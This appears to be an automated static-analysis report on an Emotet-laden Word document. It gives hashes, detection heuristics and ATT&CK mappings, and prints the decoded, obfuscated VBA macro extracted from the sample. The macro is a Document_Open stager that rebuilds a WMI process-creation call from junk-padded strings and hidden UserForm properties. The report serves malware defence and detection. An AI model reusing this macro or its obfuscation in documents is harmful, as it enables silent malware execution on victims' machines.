Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ead8c8c7c80e8bc4…

MALICIOUS

Office (OLE)

176.0 KB Created: 2020-08-06 07:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 097ff51f488d2aef6f09cc3b6947745b SHA-1: 4a99888ea26d269a266d343833f4164fa562a94a SHA-256: ead8c8c7c80e8bc4b1add72b50ef3f0c762bded55892c3c20a3eb69da2c2d8e4
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical behavior for downloading and executing further payloads. The ClamAV detection explicitly names Emotet, reinforcing this classification. The VBA script's obfuscated nature and use of CreateObject suggest it is designed to stage malicious execution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9235513-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9235513-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4164 bytes
SHA-256: 2c33b0b8669499825d395e0bc7d8cc453b9580556df8049f6827a3830f35ca92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YNOMGsfzujrthhzxse"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YWUOBacpbabyfoay.EFQOHmbnkgyvxslbad
End Sub


Attribute VB_Name = "YWUOBacpbabyfoay"
Attribute VB_Base = "0{0B234302-1AE8-4574-9CBC-92BEC24C26B5}{62A5B6FA-B3B9-46F8-A4C0-70A8C5A51A12}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function EFQOHmbnkgyvxslbad()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
ZZVLZwrshuhxgreucw = Chr(YWUOBacpbabyfoay.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
VRSNDtvpbmidzqczh = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + ZZVLZwrshuhxgreucw + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + YWUOBacpbabyfoay.ULYMUeoebxzhlxs + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
MNVVGatgyvguobadedd = KJNAKnjsavulwfxaa(VRSNDtvpbmidzqczh)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set XOOHTpyrijnjrbqmgdo = CreateObject(MNVVGatgyvguobadedd)
Dim MYsmbE7 As Long
XNGFCboymubnuzkjtsa = YWUOBacpbabyfoay.TOGQSkdnxwyvvgixfjt.ControlTipText
Dim VvSOR1Öop As Variant
WZUDGtacqvrconioxr = nsbuqwd + (MNVVGatgyvguobadedd + ZZVLZwrshuhxgreucw + YWUOBacpbabyfoay.JUNFEyabukjxazunn.ControlTipText + XNGFCboymubnuzkjtsa)
GoTo VB1ÍlR
VB1ÍlR:
KWUDCbwhiwyllzqju = WZUDGtacqvrconioxr + YWUOBacpbabyfoay.ULYMUeoebxzhlxs
Dim u6ÑPouprUqC As Double
Set LNTGOhexjrjzpqfxw = FERIOiramadwrvtq(KWUDCbwhiwyllzqju)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", XOOHTpyrijnjrbqmgdo. _
Create(AJVWMqemhgkfqnu, QYTBUcfubyafdv, LNTGOhexjrjzpqfxw), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function FERIOiramadwrvtq(IJFQLekqwwbd)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set FERIOiramadwrvtq = CreateObject(IJFQLekqwwbd)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
FERIOiramadwrvtq. _
showwindow = SZQMAchbjjrvtjlc + IAUPCryywreblqijwjo + EPHIWksdgmkpvcx
Dim uebuZa As Variant
End Function
Function KJNAKnjsavulwfxaa(BQITNrzhvyfg)
AHEUDepmgsyjsxwr = BQITNrzhvyfg
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
FRTPVbzuzhrsmpxtop = Split _
(AHEUDepmgsyjsxwr, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
KHLLEysvqvof = ms + Join(FRTPVbzuzhrsmpxtop, e2)
GoTo cDCrGvM
cDCrGvM:
KJNAKnjsavulwfxaa = KHLLEysvqvof
Dim V5Ü8ÍA As Variant
End Function
Function AJVWMqemhgkfqnu()
kqhlwie = YWUOBacpbabyfoay.FASOPnvgvbwrrylzvau.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
AJVWMqemhgkfqnu = KJNAKnjsavulwfxaa(kqhlwie)
GoTo aknR
a
... (truncated)

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